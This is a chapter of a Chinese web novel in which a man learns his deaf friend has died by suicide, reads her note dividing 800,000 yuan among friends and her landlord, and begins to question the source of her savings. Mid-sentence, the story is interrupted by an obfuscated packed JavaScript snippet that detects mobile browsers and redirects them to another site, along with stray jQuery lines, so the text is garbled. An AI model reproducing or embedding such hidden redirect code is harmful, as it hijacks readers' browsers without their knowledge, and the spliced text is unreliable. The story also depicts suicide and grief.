离开医院后,戚玉衡接到了一个来自陌生号码的电话。
电话那头是一个女声:“您是戚玉衡戚先生是吗?”
“对。你是……”
“您好,我是玉宁区公安局的警察。”
听到这,戚玉衡的心下意识地揪了起来——短短一个月间,他遇到的警察比他前三十年人生遇到的警察还要多。连着和丰山、市局、西城、玉宁,两个级别四个警局的警察打了交道。
他遇见的警察都是好人,但与他们打交道的经历,却丝毫不令他愉快。
戚玉衡不动声色地吸了口气:“您好,您有什么事吗?”
“您和冯小竹冯小姐是朋友,是吗?”
戚玉衡的心慢慢往下沉去:“……是。”
“昨天晚上,冯小竹冯小姐在她的出租屋内自杀了。她留下了一份遗书,这份遗书的内容涉及到了她的财产分配。在这份遗书中,冯小姐把她的一部分财产留给了您。虽然这份遗书因为格式问题,不能算是一份合格的自书遗嘱,但冯小姐的父母表示,他们愿意按照这份遗书处置冯小姐的遗产。您现在方便吗?如果可以的话,您能来我们玉宁区分局一趟吗?我们警方可以做遗产处置的见证人。”
戚玉衡许久没说话。
等了一会后,电话那头的女警忍不住问:“戚先生,您还在吗?”
“在,”戚玉衡磕磕巴巴地说道:“她,我昨天还跟她聊天了,她怎么……”戚玉衡感觉自己失去了对自己嘴巴的控制能力:“你不会是骗子吧?”
女警的语气有些无奈,但却并没有不耐烦:“戚先生,您来玉宁公安局一趟,就知道我骗没骗您了。我可能是骗子,但公安局里的警察总不可能是骗子吧?”
戚玉衡想陪一个笑,但嘴角要吊不吊地悬着、僵着:“我知道了,不好意思,真不好意思。我、我就是一时间有些接受不了……”
“我明白的。”
在玉宁区公安分局的接待室里,戚玉衡见到了冯小竹的父母、吕伊人和三个他不认识的女人。
吕伊人和冯小竹一样,也是个聋哑人。而尤为不幸的是,她还是个孤儿。在她一岁左右的时候,她就被父母遗弃在了福利院门口。在特二磕磕绊绊地读完九年义务教育后,吕伊人没有能力、也没有财力继续读书,于是便走向社会,开始打工。
但因为聋哑人的身份,吕伊人找工作时处处碰壁,生活非常潦倒。后来,在残联的帮助下,她在一家咖啡店找到了工作,成为了一名拉花师学徒,在技巧熟练之后,咖啡店老板给她转了正,加了薪水。
生活得到了保障后,心地善良的吕伊人开始回馈社会,积极参加帮扶聋哑人的志愿活动。戚玉衡冯小竹二人就是在特二的志愿活动中和她认识的,冯小竹和她更是成了好闺蜜。
负责接待他的警察就是给他打电话的女警,名叫杨雪茹。杨雪茹告诉他,吕伊人是冯小竹尸体的第一发现人。
据吕伊人说,昨天上午,冯小竹在微信上问她,要不要来她家里做美甲。吕伊人同意了。下了晚班后,吕伊人在约定的时间来到了冯小竹的家,但她按了很久的门铃,冯小竹却一直没有给她开门。吕伊人觉得冯小竹绝对不会无故爽约,担心冯小竹出事,于是报了警。
冯小竹租住的是一间loft,警方破门后,发现她吊死在了房间内的楼梯杆上。
听完杨雪茹的话,看着哭泣不止的吕伊人,戚玉衡重重地掐了一把自己的手背——疼,不是梦。冯小竹真的自杀了。在跟他聊完天后不久、在答应他会好好吃饭后不久,拿着一根晾衣绳,上吊自杀了。
一直以来都努力生活、阳光乐观的冯小竹,自杀了。
即使知道警方不会骗他,但戚玉衡还是下意识地问道:“真的是自杀吗?有没有可能是其他情况……比如,入室抢劫杀人什么的?”
杨雪茹摇摇头,推给他几张照片:“在我们警方破门之前,冯小竹的家门是反锁的,她的家是个密室。她家住十七楼,没有人能从窗户出入。房间很整洁,没有任何可疑痕迹。”
“在公寓楼楼道的监控视频中,在冯小竹的推断死亡时间内,没人进出过她的家。除了颈上的勒伤,她身上没有其他的伤口,没有防卫伤。而经过简单的尸检,她脖子上的勒伤符合自缢死的特征。”
“综合现场的状况,我们排除了他杀可能,至于冯小姐为什么自杀,”杨雪茹在几张照片上面点了点,“我们在她家里找到了许多抗抑郁药品,还有景南省第六医院的病历本。根据病历,冯小姐一年前就已经患上重度抑郁症,她很可能是因为疾病的原因选择自杀的。”
戚玉衡看着照片里的病历本——医生的笔记非常潦草,但因为听了杨雪茹的话,有了心理预期,重度抑郁这几个字并不难辨认。
冯小竹居然得了抑郁症?她从来没向他提过这件事。近一年间,他和冯小竹见面次数并不多,但除开最近两次见面,他之前每一次见冯小竹,冯小竹都是那么的乐观、活泼,脸上永远挂着灿烂的笑,给那些和她一样身有残疾的人送去温暖。这样的一个人,居然有重度抑郁症吗?
这时,杨雪茹又拿出一个证物袋:“戚先生,这是冯小竹小姐的遗书,我们比对了遗书和她在病历本首页的签名,基本可以判定,遗书是由冯小竹本人书写。”
冯小竹的遗书不算长:
【爸爸妈妈:对不起,女儿不孝。但是我实在太累了。你们的养育之恩,来世再报。
我名下两张银行卡中,共有存款八十万,其中四十万留给我的父母,其余的部分,留给我的朋友戚玉衡三十三万,留给我的房东刘昕馨女士三万,两万留给我的朋友吕伊人,两万留给我的朋友曹敏。
衡哥:我希望你能将这三十三万元用于对残疾人群体的帮扶,具体如何分配处置,由你决定。如果这件事给你带来了困扰,我提前向你道歉,但我实在想不到比你更适合托付的人。抱歉,谢谢。
刘姐:非常抱歉选择在您的房子里自杀。
伊人:很抱歉让你看到这样的场景。但我不想一个人在房子里臭掉,我相信你会原谅我的,爱你^3^
曹姐:谢谢姐教我美甲。感激不尽。】
戚玉衡来来回回地将遗书看了三遍,下意识地看向那三位他从未见过的女性——刘昕馨和曹敏,大概就在她们之中了。
杨雪茹看向一直垂着头的冯父冯母,道:“今天请几位来,是冯小竹父母的意思。他们愿意按照冯小姐的遗书处置冯小姐的财产,拜托我们警方来做这个见证人。”
杨雪茹话音刚落说完,那三个戚玉衡不认识的女性中最年轻的一个就拍了拍冯父的肩,对他打起手语来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462095|153451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。看这样子,她是警方请来的手语翻译。
冯父从桌下面拎出一个系着死结的黑色塑料袋,费了好一会功夫,他才将那个死结解开:里面是五捆百元大钞。
冯母比划的手语并不是通用的标准手语,戚玉衡只能半看半猜:【没预约,银行有限制,我今天只能取五万块出来。这个钱,我先给刘小姐你,剩下的钱,我们签个条,我明天拿给你们。】
吕伊人哭着道:【叔叔阿姨,我不要你们的钱。你们把钱留着养老用吧。】
坐在手语翻译左边、烫着羊毛卷的女人也说道:“我那两万,也不要了。”
此前一直没开口的刘昕馨看了看吕伊人,又看了看曹敏,撇了撇嘴,看着冯父冯母道:“我就不推脱了。小竹人没了,我心里也不得劲。她是个好姑娘……但是她这么一走,给我的房子弄成凶宅了!一时半会,估计没人会再租了。要是卖,不知道要跌价多少!小竹也是明白这件事,才会给我留钱。”
手语翻译把这话转述给了冯父冯母,冯父点了点头,脸上露出一个僵硬的笑,拿出三万元交给刘昕馨。
戚玉衡这时道:【叔叔阿姨,小竹留给我的那些钱,我也不拿了。】
但冯父冯母立刻摇了摇头,冯母说:【不行。小竹心善,她自从自己挣到钱后,就一直惦记着帮助和我们一样的残疾人。这是她的心愿,】冯母转了转她布满血丝的眼球:【我们做父母的没什么本事,但她最后的心愿,我们想帮她完成。】
冯母又看向吕伊人和曹敏:【小竹留给你们的钱,你们也收下吧。】
但最终,吕伊人和曹敏也没有答应收钱。戚玉衡实在推辞不过,最后决定收下三十万。
【叔叔阿姨,我只收三十万,但这笔资金的总数还是三十三万,余下的三万由我来掏。未来这笔钱的所有去处,我都会制好明细发给你们……我会请律师拟个合同,把这些义务落实成条款。】
从警察局离开后,戚玉衡将冯父冯母送到了他们暂时落脚的旅店——那是一家廉价旅店,居住条件比他曾经住过的廉价旅店有过之而无不及。冯父冯母并没有一起住,而是分开住着大通铺。大通铺的铁架床明显已经很有些年头,人一坐上去就会发出咯吱咯吱的轻响。
但费用很便宜,每人每晚只要八元钱。两个人只要十五元。戚玉衡有心想劝他们换个地方住,可当他看到他们老两口灰败颓然的脸色,这些话就再也说不出口了。
无所谓了。他们心中大概是这么想的。
看着简陋的旅店环境,戚玉衡有些迟钝的脑子在这时生出了一个疑问——冯小竹怎么会有八十万存款的?
和吕伊人一样,冯小竹在初中毕业之后就离家出来打工了。二人的处境也十分类似,冯小竹在找工作时也吃到了无数的闭门羹,只能四处打零工勉强维持生活。后来,冯小竹遇到了好心人曹敏,她不厌其烦地将美甲的技术教给了冯小竹,还在冯小竹出师之后帮她打广告、介绍客人。
但即便有了门手艺,冯小竹的生活依旧算不得宽裕。近些年容州上门美甲的行当也是内卷严重,竞争激烈,冯小竹又有聋哑这个巨大的劣势在,生意算不上特别好。
在这样的情况下,冯小竹居然攒下了整整八十万吗?
做美甲师这三年,她平均一年居然能攒下二十余万块吗?